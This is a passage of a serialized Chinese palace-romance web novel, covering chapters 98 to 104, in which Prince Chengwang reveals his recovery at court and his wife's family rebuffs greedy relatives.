不过现在有一件事比她受没受伤更重要,她只着里衣,抓着他霸道的大手,盯着他的脸上,皱眉问道,“你怎么说‘痊愈’就‘痊愈’,不怕人起疑吗?” “又没人知道本王何时被治愈的。”尉迟凌冷哼。 “那些人回去,澜贵妃和太子便能知晓了!回头他们肯定要想办法让你露馅,然后给你安上欺君的罪名!”夜时舒越想越揪心。 尉迟凌薄唇突然勾起,挣脱她的手,又开始剥她的里衣,“所以,还请王妃尽快更衣,好随本王进宫,主动禀告父皇我已痊愈的事。” “……” …… 半个时辰后,两辆马车从承王府驶向皇宫。 夜时舒这才知道。她们三人今日出府,尉迟凌有派人暗中保护她们。 察觉到她们三人被麒麟卫盯上后,那人便速度回府报了信。 尉迟凌早就明白,顾思沫身为华湘阁弟子的身份一旦暴露,澜贵妃和太子肯定会动手。只是他没想到,他们如此沉不住气,甚至如此明目张胆的抓人! 既然他们担心他被治愈,那他就灭掉他们的担心,让他们彻底死心! 跟他们预想的一样,看着他双腿健愈,甚至恢复了曾经的容貌,不论是宫人还是尉迟晟,全都震撼不已。 特别是尉迟晟,激动地握住儿子肩膀,上上下下来来回回打量了好几遍,“凌儿,你终于好起来了!” 尉迟凌跪下请罪,“父皇,恕儿臣未及时告知您。华湘阁规矩甚多,儿臣有求于他们医治,不得不守口如瓶。” 尉迟晟正要说什么,就见澜贵妃和太子、太子妃急匆匆地出现。 没有看见那把车轮椅,只看到尉迟凌如常人一般跪在地上,澜贵妃激动地上前,不敢置信地打量着,脱口问道,“凌儿,之前才听你说要请华湘阁的人为你医治腿伤和脸伤,怎么说痊愈就痊愈了,这简直太不可思议了!你之前的伤不会是假的吧?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第99章 你敢不恭 她激动的语气与尉迟晟没什么区别,但是最后一句话听似无心之言,可却好比一把利器直接往尉迟凌身上捅! 尉迟凌抬头望向她,冷声反问,“那母妃觉得我弄虚作假谎报伤情是为了哪般?逃避战事吗?若儿臣要逃避战事,有必要从军十载?” 澜贵妃被怼得哑口无言。 尉迟晟没好气地朝她斥道,“你到底知不知道你在胡说什么?” “臣妾……”澜贵妃张嘴想解释。 太子妃祝华凝上前打断她,并替她安慰尉迟晟,“父皇,您别误会,娘娘是太在意承王了,她时常做梦都梦到承王痊愈康健,正因如此才会关心则乱说错话。不过父皇,承王这腿伤健愈得是真快,都看不出有伤过的痕迹,不知是哪位能人异士如此厉害,可一定要让我们见见他,向他当面重谢!” 夜时舒在一旁看着她们明枪暗箭地针对,说她们不是婆媳怕都没人会信! 说实话,她心中早就憋了一肚子恶气,不跟她们斗一斗,她都快憋出内伤了! “父皇。”她上前跪在尉迟凌身侧,主动替尉迟凌解释起来,“王爷和儿媳大婚前,就已经在托人寻找华湘阁了。许是王爷心诚,感动了上苍,还真让王爷找到了华湘阁的弟子。但华湘阁素来神秘,规矩也甚严,在没有十足的把握下,人家不想暴露身份。我们是有求于人,自然得守别人的规矩。” 祝华凝笑着打趣道,“父皇,您瞧,二弟与二弟妹多么恩爱,您还没说什么呢,二弟妹就着急了。” 夜时舒回头,回她一笑,“太子妃过赞了,王爷是妾身夫君,妾身帮他作证是理所应当的。倒是太子妃和我们母妃感情好得让妾身这个做儿媳的都羡慕。同时妾身也很惭愧,身为儿媳,妾身因为要照顾夫君,没能在母妃身边尽孝,以至于母妃说错话妾身都不能第一时间帮着母妃解释。” 澜贵妃倏地沉了脸。 祝华凝脸上瞬间失色。 尉迟睿也忍不住皱眉。 她那番话就好比在说,太子妃和澜贵妃才是一对正经婆媳! 尉迟晟眯着眼在他们三人身上来回打量。 夜时舒仿佛没看到他们的表情,还一脸感激地接着道,“听闻王爷在外征战多年,都是太子和太子妃在父皇和母妃身前尽孝,为此王爷一直心怀愧疚。” “后来伤了腿毁了容,王爷更是自惭形秽,觉得不配再做母妃的儿子。妾身听闻这些,开解王爷莫要自卑的同时,也深深地被太子和太子妃的孝心所感动。” 澜贵妃实在听不下去了,厉声斥道,“承王妃,你说这些拈酸吃醋的话是何意思?” 夜时舒仿佛被她的厉色吓到了,身子哆嗦地往尉迟凌身上靠,紧张不已地解释,“母妃,儿媳说的都是肺腑之言,并非拈酸吃醋。您视太子如己出,太子回以您孝心,儿媳同王爷被你们不是母子亲情却胜过母子亲情的关系所感动,这、这哪错了?” “你!” “够了!”尉迟晟恼怒地瞪着澜贵妃,“承王妃说的难道不是事实?你与皇后姐妹情深,所以视太子如己出,深受满朝敬重。怎么旁人夸赞得,承王妃就夸赞不得了?” 澜贵妃差点吐血。 但被尉迟晟训斥,她这才察觉自己不该为此事失态…… 不,是她不该被夜时舒牵着鼻子走! 她朝尉迟睿和祝华凝看去,夫妻俩虽然没被训斥,但满脸的难堪怎么都压不下去。 她快速调整情绪,把尉迟凌和夜时舒从地上拉起来,温声细语说道,“以前是母妃对凌儿多有冷落,母妃一直想补偿,但苦于找不到机会。如今凌儿伤势痊愈,又娶了舒儿这样善解人意的王妃,母妃向你们保证,以后母妃一定多加疼爱你们。” 尉迟凌仿佛没听到他的话,冷漠地转身,对尉迟晟说道,“父皇,儿臣的伤恢复得如此之快,也恢复得如此之好,其实儿臣早就想过,一定会有人为之存疑。所以儿臣千般好话百般求情才让华湘阁的弟子答应现身,她现在就在殿外,父皇可宣她进来。” 闻言,尉迟晟颇感意外。 随即他让齐绥宣人觐见。 不多时,顾思沫便出现在众人面前。 看着她年轻的容貌,祝华凝忍不住惊讶,“这便是华湘阁弟子?这般年轻竟有过人的医术?” 要不是身份地位让她需要顾及,她都想直接嘲讽承王夫妇了。 随便拉个江湖郎中恐怕都比这个年轻女子强! 先前听说承王带人去救夜时舒,他们就怀疑承王的腿伤及脸伤是伪装的,毕竟伤得那般重,怎么可能说健愈就健愈? 眼下看到这个所谓的华湘阁弟子,她和澜贵妃、太子交换了眼神,都一致坚信,他们的猜测没有错,承王之前的伤十有八九是假的! 顾思沫跪地给尉迟晟行了大礼,“民女华芯拜见吾皇陛下,吾皇陛下万岁万岁万万岁!” 尉迟晟敛紧双目打量她,虽然没明说,可那眼神明显也带着疑惑。如此年轻的女子,如何有那般高超绝伦的医术? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“你就是治好承王腿疾和脸伤的神医?” “回陛下,正是民女。” “不知华神医是如何为承王医治的,可否详尽说与朕听听?” “回陛下,事关阁中医药秘法,恕民女无法相告。”顾思沫从容又平静地拒道。 “放肆!”澜贵妃不悦地斥道,“君王面前,你竟敢不恭!” 夜时舒赶紧到顾思沫身前,心疼地展开双臂保护她,“母妃,她可是王爷的恩人,要不是她,王爷这辈子都无法行走,您怎能如此怒斥恩人呢?” 澜贵妃现在瞧着她,都恨不得撕了她! 她没想到这‘儿媳’看着娇憨,但说的话却能把人活活气死! 要不是她笃定没人知道那个秘密,她都要怀疑这夜时舒就是故意的! 尉迟凌也冷着脸附和,“母妃,华神医不是宫里人,不懂宫里的规矩。何况她是儿臣求着进宫见父皇的,您如此苛责她,可有顾及儿臣的颜面?” 一直没出声的太子尉迟睿对着顾思沫露出自以为平易近人的微笑,温声道,“华神医,你别误会,我们没有别的意思,只是很好奇,你是如何治好承王的?毕竟我们宫中有御医,连御医都束手无策的事,你却能不声不响做到,着实让我们感到不可思议。还请华神医不吝赐教,让我们长长见识。” 顾思沫看向他,反问,“要不找个人,将其双腿打断,再让民女医治?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第100章 想掐死她 “你……”尉迟睿被噎得忍不住瞪眼,平易近人的温和感瞬间消失。 “抱歉,恕民女做不到。”顾思沫都不给他说话的机会,又面向尉迟晟,恭敬地磕了一个头,然后义正辞严地说道,“陛下,华湘阁虽然只是江湖中一个不入流的小门派,但华湘阁自建阁以来,一直秉持着‘救济天下苍生为己任’的初衷行事。华湘阁的弟子恪守阁规,从不靠着医术在外张扬、卖弄。” “这次民女能为承王殿下医治腿疾和脸伤,是因承王殿下多年戍守边疆,其忠君爱国之心感天动地,阁主听闻承王殿下四处求医,这才命民女下山为承王殿下医治。” “陛下怀疑民女身份也无可厚非,民女自有办法证明自己的身份,但非要让民女讲述医治承王殿下的过程,此乃关系到华湘阁机密,恕民女无法做到。” 尉迟晟一开始是觉得她太过年轻,从而质疑她的身份。可听完她这一番话,觉得她谈吐从容、理据分明,仅是这份沉稳的气度就不是普通人能比的。 至于她的身份和医术…… 仔细想想,完全不用急在一时去验证。正所谓真金不怕火炼,何况他相信承王胆子再大,就算真要糊弄也该请个像模像样的医者,没道理请个年纪轻轻的女子来欺君。 反观澜贵妃和太子、太子妃…… 一个个严词厉声的,对这女子的敌意未免太大了! “华神医请起。”他朝顾思沫抬了抬手,龙颜和悦地说道,“朕知你进宫不是为了邀功,但你让承王健愈,功不可没。承王是朕的儿子,你对承王的恩情,便是对朕的恩情,朕可许你一心愿,当是作为你医治承王的报酬。” 顾思沫正欲谢恩。 突然一名太监匆匆来报,“启禀皇上,妍妃娘娘有小产之兆,御医已经去锦福宫看过,说妍妃娘娘这一胎怕是保不住了!” 闻言,尉迟晟神色一沉,拔腿便往锦福宫去—— 但迈了两步,他猛地顿下脚步,回头朝顾思沫道,“华神医,随朕去锦福宫看看!” 顾思沫哪能不明白,皇上这是借机会考验她呢! “是,民女遵旨。”她也没推拒,快速跟上尉迟晟的步伐。 大殿中。 夜时舒和尉迟凌并肩而立,一个娇美倾城,一个俊美绝世,何止郎才女貌能形容的般配。 在他们对面的,是澜贵妃、尉迟睿、及祝华凝。 尽管澜贵妃和祝华凝端着微笑,但没了尉迟晟在场,尉迟睿却再难掩饰眼中的嫉恨。 “皇兄,臣弟能健愈,除了感激华神医外,还要对皇兄道声谢。”尉迟凌走到他面前,罕有地离开唇角,露出一口耀眼的白牙,“皇兄前阵子去万福寺为臣弟祈福,想来是神佛被皇兄的手足之情所打动,所以才佑使臣弟健愈得如此快。” “你的伤是假的?”尉迟睿咬着牙,用着他们两人才听到的声量质问。 说是质问,但其实就是认定! 尉迟凌笑着,也用同样只有他们才能听到的声量说道,“皇兄还是一如既往的沉不住气,一国储君,除了蠢是优点外,无一样能拿得出手,你说可笑不可笑?” 在他的低语嘲讽中,尉迟睿的脸就跟猪肝一样,要多难看便多难看,甚至压抑不住怒火脱口低吼,“尉迟凌!你找死!” 他这一吼,把澜贵妃和祝华凝都吼变了色。 旁边静候的宫人们也仿佛受到惊吓般,紧张不安的把尉迟睿望着。 夜时舒见状,赶紧跑过去把尉迟凌的手臂挽住,拉着他远离尉迟睿好几步,然后委屈不已地看向澜贵妃,“母妃,太子皇兄怎如此凶?您不是视太子如己出吗,怎不好好管教太子皇兄?他是储君不假,可他同样也是兄长,兄长都该爱护弟弟妹妹,哪有不由分说就冲弟弟妹妹大吼大叫的?” 澜贵妃差点没翻着白眼昏过去! 之前她一直都以为这夜时舒文静腼腆,今日她才发现,这贱人说话如同软刀子割人皮肉似的,让人恨不得想掐死她! 祝华凝赶紧上前,挤着笑说道,“弟妹,你说的这是哪里话,太子这是与二弟玩笑呢!他们兄弟俩自小就这样,你别往心中去啊!” 夜时舒噘着嘴,似十分不理解般自言自语道,“哪有兄长如此不分轻重与弟弟妹妹玩笑的?” “你!”尉迟睿攥着拳头,比澜贵妃还想掐死她! 本来承王健愈的事就狠狠地刺激到了他,让他难以平静,没想到夜时舒这贱人更是一直阴阳怪气地针对他们! 眼见澜贵妃和尉迟睿都气得不行,同为女人,祝华凝如何看不出夜时舒是故意的? 她理智地转移话题,对澜贵妃说话,“娘娘,我们还是去锦福宫看看妍妃吧。” 澜贵妃接收到了她的暗示,瞪了尉迟凌和夜时舒一样,拖着旖旎华服头也不回地离去。 祝华凝又给尉迟睿使了使眼色。 随后夫妻二人也跟着澜贵妃走了。 “王爷,我们要去吗?”夜时舒收起做作的姿态,有些担忧地问道。她不是担心那什么妍妃小产,她是担心自家二嫂的安危。 本来皇上就对她二嫂的身份心存怀疑,若是妍妃腹中的龙嗣没保住,那皇上必定会把怒火发到她二嫂头上! “不必。”尉迟凌搂着她腰肢,低沉道,“这是她证明自己的最好机会。” 他如此波澜不惊,夜时舒也不好再说什么。 约莫半个时辰后,齐绥满脸喜色地来到他们面前,夸赞道,“王爷、王妃,华神医真是厉害!御医都说妍妃娘娘腹中的小皇子快保不住了,没想到华神医居然为妍妃娘娘保住了小皇子!皇上可高兴了,下旨要重赏华神医呢!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第101章 把人放开 夜时舒一听,心中悬起的大石总算落下了! 不过她还是关心地问道,“齐公公,华神医现在还在锦福宫吗?” 齐公公点头,“小皇子虽然保住了,但妍妃娘娘胎象不稳,皇上想让华神医留在宫中为妍妃娘娘保胎,但华神医不同意,皇上让奴才来请王爷和王妃过去,想让你们劝一劝华神医。” 闻言,夜时舒眸底一沉。 尉迟凌突然捏了捏她的手心,对齐绥说道,“劳烦齐公公带路。” 不多时,夫妻二人随齐绥到了锦福宫大门外。 但尉迟凌并没有往里去,对齐绥说道,“妍妃娘娘寝宫我们就不进去了,请齐公公转告父皇,我们在此等华神医。” 齐绥听出他的意思,张了张嘴想说什么,但见他神色冷肃,便识趣地点了点头,然后转身进了锦福宫。 不一会儿。 尉迟晟一脸沉冷地出现。 “凌儿,你这是何意?后宫多年无妃嫔有孕,朕好不容易盼来一子,眼下又险些不保,难道问你借个人,你还不乐意?” 面对他的指责,尉迟凌没有辩解,只说道,“父皇既知后宫多年无妃嫔再诞下龙嗣,不妨好好查查,是何缘由。按理说,父皇正值壮年,平日里又不缺滋养,子嗣稀薄应该不是父皇的问题。” 尉迟晟龙颜上瞬间布满了阴霾。 他就两个儿子四个女儿,两个儿子同年同月同日所生,四个女儿也在同年出世,这说明他龙体无恙。 可这十余年来,后宫妃嫔再无所出…… 尉迟凌垂下眼眸,压低了语气,“父皇,与其留华神医在宫中陪妍妃娘娘待产,不如请华神医想想办法,如何能让后宫妃嫔顺利受孕。” 尉迟晟背在身后的双手用力攥紧。 尉迟凌后退一步,又道,“父皇,时候不早了,儿臣和王妃得去一趟致和将军府。母妃和皇兄、皇嫂今日那般猜疑提醒了儿臣,儿臣得把华神医带上,不然实难向岳父大人解说清楚。” 他一边说一边苦涩地叹气,“这世道,人言可畏,儿臣伤重时被人诋毁,健愈后还要受人猜疑……唉!儿臣惶恐,真怕哪天就被人弹劾,说儿臣欺君。” 尉迟晟目睹了顾思沫为妍妃保胎的经过,此时此刻对顾思沫只有敬佩,再无猜疑。 想到先前他对的儿子的伤也生出了质疑,心中不由得愧疚,于是神色和蔼起来,“父皇知道你心中的委屈,你放心,父皇不会再让人中伤你。华神医正在为妍妃调制保胎的药,待妍妃服了药,你们再带她离去吧。” 今日得儿子提醒,他才惊觉,后宫是该好好肃清了…… …… 约莫过了一个时辰,顾思沫才从锦福宫出来。 三人同乘一辆马车前去致和将军府。 路上,顾思沫主动与他们夫妻说道,“妍妃小产,是平日的汤药有问题。不过那汤药做得很隐晦,加了一些寒凉的食材,偶尔服用也无大碍,但每日多食几次,时间一长,这些娇贵的娘娘们大凡有点风寒热症便容易滑胎。” 夜时舒和尉迟凌对视了一眼,答案自是不言而喻。 “二嫂,你把这些如实告诉皇上了?” “哪敢哦!”顾思沫掩嘴笑道,“我只给妍妃调制了一副安胎的方子,顺便再给她写了一张食谱。至于别的,我是一点都没说。” “那就好。”夜时舒也放心地笑了。 宫里不是他们的地盘,何况这些年还是澜贵妃在代使皇后的权利执掌中宫。有些话承王可以说,而且还得挑机会说,但旁人却不能多嘴,不然一准惹祸上身。 对于尉迟凌的‘健愈’,夜庚新和夜时珽、夜时竣父子三人那是再高兴不过。 毕竟他们早就知道了真相,尉迟凌这一‘健愈’,也就意味着他们不用再帮其隐瞒了。 听闻承王府马车到了,父子三人一同出来接迎。 当顾思沫下马车时,夜时竣难掩欢喜,一个箭步便冲到她面前,抓住她的手开心唤道,“沫儿,你可算回来了!” 夜庚新和夜时珽看着他的举动,都忍不住瞪直了眼。 啥情况?! 偏偏某二公子两天没见着媳妇了,这一见面就差抱着媳妇亲两口了,他非但把自家爹和大哥抛到了脑后,还脱口就说道,“听说你进了宫,我可是担心了一整日。你要再不回来,我都要去宫里找你了!怎样,一切还顺利吧?有没有人为难你?” “兔崽子!你干什么?”夜庚新黑脸怒斥道,“魔怔了不成?还不赶紧把人家姑娘放开!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第102章 上门哭求 夜时舒一脸黑线,赶紧过去拉人,“二哥,注意身份!” 夜时竣这才反应过来,回头望着脸黑的爹和大哥,尴尬得直‘嘿嘿’。 夜时珽上前,对着顾思沫拱手施礼,“姑娘,抱歉,舍弟因前阵子痛失发妻,神志错乱,才认错了人。在下替他向姑娘赔不是,还请姑娘看在他是思念亡妻太过的份上,饶恕他这一回。” 顾思沫尴尬得侧过身,哪敢受他这一拜啊! 但她这一侧身,夜时珽以为她是不接受赔礼,正犹豫着要不要当场‘揍’兄弟一顿,好让人家姑娘出出气。 一旁某王爷忍不住发出咳嗽声。 成功吸引父子三人的注视后,他扳着脸开口,“怎么,不欢迎本王么?” 夜庚新和夜时珽猛地一愣,这才发现他们险些忘了正事,而且一家人还把大门堵着! “王爷,里面请。”夜庚新忙抬手引道。 夜时珽则是没好气地瞪了一眼身侧的兄弟。 胡闹过头了! 回头真得揍他一顿! 一行人进了厅堂。 夜时竣在自家小妹暗示下招呼家丁都退下,文岩和文墨则是在厅堂外笔挺地伫立着,无声地防止任何人靠近。 夜庚新和夜时珽都看出了异样,以为尉迟凌是有什么要事与他们商议,突然就见那个被他们家老二冒犯的陌生女子走到他们面前,扑通跪下。 “爹、大哥,沫儿很抱歉,对你们隐瞒了这么久。” 听着女孩的自称以及那熟悉的嗓音,父子俩低着头惊诧地瞪着她,“你、你是沫儿?!” 顾思沫不好意思地抬起头。 眼前女孩,清涟柔美,一身白衣、长发及腰,就跟仙子似的,跟他们脑海中熟悉的脸庞完全对不上,夜庚新和夜时珽越看越傻眼不解。 “爹,是这样的。”夜时舒主动为他们解惑。 把一切都说给了他们听。 夜庚新听后,乐得不行,忙把儿媳拉起来,笑说道,“你这丫头,如此大的事怎不早说?害我们险些误会,还以为时竣移情别恋了呢!” 顾思沫不好意思地红了脸。 夜时珽也少见的露出笑容,“如此甚好!弟妹现在是‘神医’的身份,与之前迥异,连我们都分辨不出,外人更不会怀疑你与顾家长女有关。” 夜时竣站到顾思沫身侧,搂着她的肩,笑着提醒,“爹、大哥,她现在叫华芯,你们可别再喊错了!” 顾思沫赶紧拉下他的手,没好气的瞪着他,“好好说话,别没个正形!” 夜庚新朗声大笑。 他没想到老二媳妇不但漂亮,还能把自家这个随性惯了的老二给管住,这可是他以前做梦都不敢想的! 不过他的高兴没维持住一刻钟,门房侍卫突然来报,“将军,范老夫人带着她孙女来了,在大门外哭着要见您。” 厅堂里,原本欢快的气氛瞬间凝固中。 夜庚新想都没想地开口撵人,“把她们轰走!别脏了我将军府的地盘!” 范家祖孙的所作所为真是让他失望透顶,如果可以,他宁可没有范老夫人这样的姑母! 若换做旁人如此对他的儿女使用那些下三滥的手段,他绝对会亲手宰了对方! 侍卫微微低头,语气有些为难,“将军,小的们已经驱赶了,但那范老夫人又哭又闹,还说要跪死在将军府大门外,然后让您给她收尸。” 夜庚新脸色难看得不行。 夜时竣忍不住冷笑,“我们没把他们得恶行宣扬出去,是看在她是我爹亲姑母的份上。没想到她耍这么一出,反要给我们将军府难堪。” 夜时舒说道,“爹、大哥、二哥,让她进来吧。有什么话摊开了说,免得让不明真相的人着了她的挑唆,以为我们将军府薄情寡义、六亲不认!” 夜庚新想了想,也觉得女儿的话在理,于是让侍卫去把范老夫人和范云莹带进来。 要说这对祖孙出现的目的,根本不用猜。 夜时竣有派人暗中盯着他们,有关他们的一举一动都一清二楚。 本来范云濡和顾诗雅因为花灯节那一次被夜时竣‘撮合’,范家那祖孙三人以为攀上了高枝,得意得不行,所以被赶出将军府后,他们也傲气地断了与将军府来往。 可顾勇被罢官剥夺了功名后,一切都变了。 曾经高高在上的首辅大人比范家还不如。范老夫人的儿子至少还是幽州知县,范云濡更是今年要参加科考的举子,不说能否拔得头筹,至少前景是让人期待的。 可顾家现在有什么? 什么都没有不说,顾诗雅那一身骄纵跋扈的小姐脾气,有几个男人受得了? 范老夫人一到他们跟前,是一点都没让他们‘失望’,对着夜庚新就痛声嚎哭,“更新啊,濡儿与顾家二小姐的婚事没了,姑母快要活不下去了,求你帮帮我们吧!” 他们祖孙三人此次来京是打定了主意在夜家白吃白喝,哪曾想会被夜家赶出去。 本来想硬气一回,让夜家刮目相看,结果新靠山顾家又出事,他们所带的银子本就不多,现在是银子花没了,靠山也没了,就连租住的院子也快被房主收回去了! “姑母,顾家不是已经和云濡议亲了吗?如此一桩佳缘怎么说没就没了?”夜庚新佯装不解地问道。 “别提了!”提到顾家,范老夫人就难掩厌恶之色,“顾勇被罢官,什么都没了,这桩婚事门不当户不对,我自然不会同意!再说了,那顾诗雅一身毛病,连我这个老婆子都不知道尊重,这样的孙媳妇拿来作甚?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第103章 搬出祖宗 “姑婆,你这样说有点过了。顾勇任首辅时,再怎么说也是赏识云濡表哥的。”夜时舒忍不住逗她,“人生嘛,谁能保证自己会顺当一辈子?你不能因为顾家生变就嫌弃,万一哪天他们东山再起,那你岂不是又要懊悔?” “顾家还能东山再起?”范老夫人现在可是一点都不装了,手指着门外,老脸上全是唾弃之色,“那顾勇连功名都没了,这辈子再也做不了官,那可是皇上亲自下的旨,他想东山再起,下辈子吧!” “姑婆,你就这么退了与顾家的婚事,不怕被人说闲话?”夜时舒笑问道。 “我有什么好怕的?水往低处流,人往高处走,跟这种无权无势的人结亲,那是对我家濡儿的侮辱!”范老夫人翻着白眼,就差往地上吐口水了。 “那你们范家也没高官厚禄,我们可不可以不同你们往来?”夜时舒脸上的笑带上了嘲讽,“毕竟我们夜家是正儿八经的将门世家,跟你们范家往来,也会被人说闲话。” “你!”范老夫人没想到她会把这些话往自己身上套,顿时气突了老眼,然后指着她怒问夜庚新,“你就是这么教自个女儿的?就不怕她出去被人唾骂没教养,丢夜家的脸面?” 夜庚新双目沉沉地看着她,冷硬回道,“我是教女无方,但姑母你作为长辈,你的一言一行也可以教导舒儿,既然你能捧高踩低,那舒儿同你学习,有何不妥?” 范老夫人被怼得老脸失色。 还是身侧的孙女范云莹暗中扯了扯她衣角,示意她说正事,别被他们一家牵着鼻子走。 范老夫人得到提醒后,立马又露出慈和的微笑,转身看向夜时珽,“时珽啊,这些日子莹儿可想你了!前些日子莹儿总是恍恍惚惚的,我便请了一道人为她看,没想到那道人竟说莹儿被脏东西缠住了。那道人精通阴阳术,在他救治下莹儿恢复了神志,才发现自己做下的那些糊涂事根本不是出于她的本心,而是着了脏东西的道!” 她话音一落,范云莹立马上前抓住夜时珽的手腕,红着眼眶哽咽道,“大表哥,我一直喜欢的都是你,想嫁的人也只有你,我是中了妖邪的道才说出那些言不由衷的话……大表哥,我们不退婚好吗?莹儿等了你那么多年,盼了你那么多年,如果莹儿真的见异思迁,又何苦等这么久、盼这么久?请你一定要相信莹儿啊!” 祖孙俩的话让夜庚新一家人犹如当场吞了苍蝇般,各个表情都是一脸黑。 他们让这对祖孙进来,原本已经做好了她们耍无赖的准备。哪曾想,她们不是耍无赖,而是把他们一家当蠢蛋! 夜时珽的手腕被范云莹抓着,反应自然是最大的。他没有留一丝情面,直接把范云莹的手扯开。 “大表哥……” “云莹表妹请自重。”夜时珽斜睨着她,声线冰冷刺骨,“我这人重承诺,说到便会做到。既然你我已退婚,那我必定要遵行到底。” “大表哥,你没听我祖母说吗,那时的我被妖邪缠着,说的话、做的事都不是我自愿的,我是被迫的啊!”范云莹眼泪从眼眶里不停涌下,瞬间哭成了泪人,“大表哥,我对你是真心实意的,你不能不要我!求你,再给我们一次机会行吗?” 夜时舒扯着眼角,实在是听不下去了,“云莹表姐,在成亲前发生那种事,不管你是真心的、还是被迫的,这都说明你与我大哥无缘。与其说你被妖邪缠住,还不如说是夜、范两家祖宗显灵。毕竟两家祖宗也是亲家,说不定是他们在下面发现你和我大哥不般配,不想两家子孙受害,所以才附在你身上替你做了选择。” 不就是胡扯嘛,谁不会似的! 她们敢拿妖邪来说事,那她就把祖宗搬出来,看是妖邪厉害、还是祖宗厉害! 范云莹染泪的脸颊苍白得吓人,含泪的双眸憎恨地瞪向她,“舒儿表妹,你怎能拿两家祖宗说笑?你可知,这是对他们天大的不敬!” 范老夫人也恼道,“就是!拿祖宗说笑,简直是大逆不道!”她随即又指责夜庚新,“你就这样任凭自己的女儿离经叛道吗?” 没想到夜庚新非但没责备女儿,反而还一脸认真地点了点头,“事情发生在我将军府,我夜家世代忠良,将军府浩然正气,不可能出现妖邪。如果云莹真的身不由己,那一定是夜家祖宗显灵,亲自断了她和时珽的姻缘。既如此,那我们更应该遵从祖宗心愿,好让他们在泉下得以安心。” 夜时竣别开脸,差点就喷笑了。 夜时珽脸上的冷冽还没散去,但双肩忍不住地抖动。 他们从来没想过,一向严正分明的父亲大人居然也能跟着儿女扯神论怪…… 先搬出祖宗的人是夜时舒,见自家老爹如此配合,她是憋笑憋得最难受的。 眼见范老夫人老脸变得扭曲,仿佛随时会‘魔化’,她赶紧说道,“爹,我们虽然不能忤逆祖宗的意愿,但云莹表姐的一些话还是打动了我。早前她与大哥有婚约,一直等着盼着大哥回京完婚。看在两家祖宗们的份上,我们就给云莹表姐一些补偿吧。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!不等夜庚新说话,她便问范老夫人,“姑婆,你觉得多少补偿合适?” 范老夫人在他们父女一唱一和下还真是差点抓狂。 她今日来,已经做好了赖死夜家的准备。再怎么说她也是夜庚新的亲姑母,她就不信夜庚新会看着她寻死觅活! 没想到夜时舒会主动提出要给他们补偿…… 这还真是瞬间把她一肚子火给灭下去了! 她们来将军府的目的是什么?不就是没有银子无法过活嘛! 于是她也不客气,直接比出一根手指,“舒儿如此明事理,那姑婆也不能为难你们,就十万两银子吧!” 十万两?! 她话音一落,换夜家父子变了脸。 夜时舒同样拉长了脸,说道,“昨夜我梦见祖父给我托梦,说让我只给你们一百两!” 闻言,范老夫人不满地揭穿她,“你当我是那么好糊弄的吗?你出生时你祖父已经过世了,你就算梦见他,能认得出他来?” 夜时舒撇嘴,“我是认不出祖父的模样,可祖父在梦里告诉了我他的身份啊!” “那也不一定就是你祖父,说不定是什么不干净的东西幻化的,就是为了骗你!” “姑婆说的也在理。”夜时舒并没有与她争执,只偏着头认真想了想,“不如这样,今晚我再试试看能否再梦见祖父,我得让他拿出证据证明自己的身份。他要是冒充的,那他的话就不能信,所谓的补偿也不能听!” “……!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第104章 有了身孕 范老夫人捂着心口,只觉得一股气血冲上脑门,差点让她眼前一黑昏死过去。 “祖母……”范云莹赶紧将她搀扶住,然后冲夜时舒恼道,“夜时舒,你别太荒谬了!什么祖宗显灵、什么祖宗托梦,你当我们是傻子好戏弄吗?” 夜时竣忍不住冷哼,“不是你们先把我们当傻子戏弄的吗?”他随即从郝福手中接过早准备好的钱袋子,然后走到范老夫人面向,将钱袋子塞到她手中,“姑婆,别看不起这点银子,也别说我们打发叫花子,要知道这一百两银子可使一个普通老百姓衣食无忧一辈子。看在亲戚的份上,就当是我们兄妹三人给云濡表哥的资助,顺便预祝他金榜题名。” 范老夫人咬着牙,心中的耻辱感恨不得把钱袋子扔出去,可眼下生活的窘迫却又让她不得不把这份屈辱硬生生吞进肚子里。 毕竟他们已经身无分文,就算派人回幽州送信,让儿子给他们送银子来,那也需要一些时日的。眼下孙子科考在即,没银子,孙儿连纸墨都买不了,还如何温习功课? 而他们也要吃喝…… “莹儿,我们走!”她低喝一声,挺起胸膛往厅门外去。 只要她孙儿登科及第、榜上有名,他们范家早晚也会成为京城的新贵,不用夜家帮衬也一样能在京城站稳脚跟! 被她强势带离,范云莹频频回头,含泪的目光一直注视着夜时珽。 任谁都看得出来她眼中的懊悔。 也任谁都能看懂她的懊悔。 如果不是他们祖孙太贪心,龃龉夜时舒那丰厚的嫁妆,范云莹现在就是名副其实的夜家大少夫人。 毕竟作为老二的夜时竣都能娶亲,凭夜、范两家多年的婚约,自是不会再耽搁夜时珽和范云莹的婚事。 可范老夫人不但贪心,还自信过了头。她教出来的孙儿、孙女跟她一样贪慕虚荣、恬不知耻,硬生生把近在咫尺的幸福给作没了! 目送她们祖孙离开后,夜时竣走到自家大哥身旁,搭着他肩调侃道,“大哥,我瞧着那范云莹对你可是没死心啊!” 夜时珽一脸黑,斜眼狠狠地剜了他一下。 夜时竣挤着眉眼道,“要不让爹请个媒婆,抓紧时间给你相看一个?不然我真怕哪天范云莹又给你使那些下三滥的手段,上次爹和九姑着了道,可别再连累其他人受算计啊!” 他这话一落,不止夜时珽捏着了拳头,夜庚新也黑沉着脸恼道,“兔崽子,许久没揍你了,皮痒了是不是?” 夜时竣跑向顾思沫,抓起她的手就跑,边跑边笑道,“我和芯儿回房了,晚饭在房里用,不用等我们!” 看着快气冒烟的爹和大哥,夜时舒是哭笑不得。 不过自家二哥的话有些还是对的,于是她正色提醒道,“爹、大哥,就姑婆家的品性,仅是打发她们没有用的。依我看,就该找个机会与他们决裂,让他们再也不能仗着亲戚关系来找我们闹事。” 